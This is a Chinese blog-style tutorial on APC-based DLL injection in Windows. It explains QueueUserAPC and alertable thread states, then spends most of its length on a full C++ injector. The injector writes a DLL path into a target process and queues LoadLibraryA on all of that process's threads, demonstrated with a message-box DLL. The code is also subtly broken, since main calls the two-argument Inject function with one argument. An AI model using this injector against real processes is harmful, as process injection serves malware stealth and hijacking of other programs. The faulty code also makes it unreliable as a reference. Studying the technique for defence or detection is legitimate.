本文最后更新于:2021-08-09 晚上
APC注入
APC为异步过程调用,是指函数在特定线程中被异步执行。每一个线程都有自己的APC队列,使用QueueUserAPC函数可以把一个APC函数压入APC队列中,插入LoadLibrary就可以执行DLL。该线程并不会直接调用APC函数,除非该线程处于一个可通知的状态。
函数介绍
QueueUserAPC
将用户模式中的异步过程调用(APC)对象添加到指定线程的APC队列中。
| DWORD QueueUserAPC( PAPCFUNC pfnAPC, HANDLE hThread, ULONG_PTR dwData );
|
pfnAPC:当指定线程执行可警告的等待操作时,指向应用程序提供的APC函数的指针。
hThread:线程的句柄。该句柄必须具有THREAD_SET_CONTEXT访问权限。
dwData:传递由pfnAPC参数指向的APC函数的单个值。
返回值:如果函数成功,则返回值为非0;如果失败,则返回值为0。
具体实现
在Windows系统中,每个线程都会维护一个线程APC队列,通过QueueUserAPC把一个APC函数添加到指定线程的APC队列中。每个线程都有自己的APC队列,这个APC队列记录了要求线程执行的一些APC函数。Windows系统会发出一个软中断去执行这些APC函数,对于用户模式下的APC队列,当线程处在可警告状态时才会执行这些APC函数。一个线程在内部使用SingalObjectAndWait、SleepEx、WaitForSingleObjectEx等函数把自己挂起时就是进入警告状态,此时便会执行APC队列函数。
具体代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167
|
#include "pch.h" #include <iostream> #include <Windows.h> #include <tlhelp32.h> #include <atlconv.h> #include <atlstr.h> DWORD GetPidByName(char* pszProcessName) { HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 PE32 = { sizeof(PE32) }; USES_CONVERSION; CString ProcessName = A2T(pszProcessName); BOOL flag = Process32First(hSnap, &PE32); while (flag) { if (lstrcmp(PE32.szExeFile, ProcessName) == 0) { return PE32.th32ProcessID; } flag = Process32Next(hSnap, &PE32); } return 0; } BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* pdwThreadIdLength) { DWORD* pThreadId = NULL; DWORD dwThreadIdLength = 0; DWORD dwBufferLength = 1000; THREADENTRY32 te32 = { 0 }; HANDLE hSnapshot = NULL; BOOL bRet = TRUE; do { pThreadId = new DWORD[dwBufferLength]; if (NULL == pThreadId) { printf("申请内存失败\n"); bRet = FALSE; break; } RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD))); RtlZeroMemory(&te32, sizeof(te32)); te32.dwSize = sizeof(te32); hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (NULL == hSnapshot) { bRet = FALSE; break; } bRet = Thread32First(hSnapshot, &te32); while (bRet) { if (te32.th32OwnerProcessID == dwProcessId) { pThreadId[dwThreadIdLength] = te32.th32ThreadID; dwThreadIdLength++; }
bRet = Thread32Next(hSnapshot, &te32); } *ppThreadId = pThreadId; *pdwThreadIdLength = dwThreadIdLength; bRet = TRUE;
} while (FALSE); if (FALSE == bRet) { if (pThreadId) { delete[]pThreadId; pThreadId = NULL; } } return bRet; } BOOL Inject(char* pszProcessName, char* pszDllname) { BOOL flag = FALSE; DWORD dwPID = 0; DWORD* pThreadId = NULL; DWORD dwThreadLength = 0; HANDLE hProcess = NULL; HANDLE hThread = NULL; PVOID pBaseAddress = NULL; PVOID pLoadLibraryFunc = NULL; SIZE_T dwRet = 0, dwDllPathLen = strlen(pszDllname) + 1; DWORD i = 0; do { dwPID = GetPidByName(pszProcessName); if (dwPID == 0) { printf("获取PID失败\n"); flag = FALSE; break; } flag = GetAllThreadIdByProcessId(dwPID, &pThreadId, &dwThreadLength); if (flag == FALSE) { flag = FALSE; break; } hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID); if (hProcess == NULL) { printf("打开进程失败\n"); flag = FALSE; break; } pBaseAddress = VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pBaseAddress == NULL) { printf("申请空间失败\n"); flag = FALSE; break; } WriteProcessMemory(hProcess, pBaseAddress, pszDllname, dwDllPathLen, &dwRet); if (dwRet != dwDllPathLen) { printf("写入内存失败\n"); flag = FALSE; break; } pLoadLibraryFunc = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA"); if (pLoadLibraryFunc == NULL) { printf("获取loadlibrary地址失败\n"); flag = FALSE; break; } for (i = 0; i < dwThreadLength; i++) { hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]); if (hThread) { QueueUserAPC((PAPCFUNC)pLoadLibraryFunc, hThread, (ULONG_PTR)pBaseAddress); CloseHandle(hThread); hThread = NULL; } } flag = TRUE; } while (FALSE); if (hProcess) { CloseHandle(hProcess); hProcess = NULL; } if (pThreadId) { delete[]pThreadId; pThreadId = NULL; } return flag; }
int main() { BOOL flag=Inject("自己的文件路径"); if (flag == TRUE) { printf("注入成功\n"); } else printf("失败\n"); getchar(); return 0; }
|
效果查看
写一个MFC的小程序,点击确定按钮之后就会调用SleepEx函数。
| void CTestApcDlg::OnBnClickedOk() { SleepEx(10000, true); }
|
然后打开我们的注入程序,看到提示已经注入成功。
点击确定按钮,就会弹出我们在DLL里写好的弹窗。
使用process explore工具查看可以看到我们的DLL已经注入到TestApc.exe中了。
参考
参考《Windows黑客编程技术详解》一书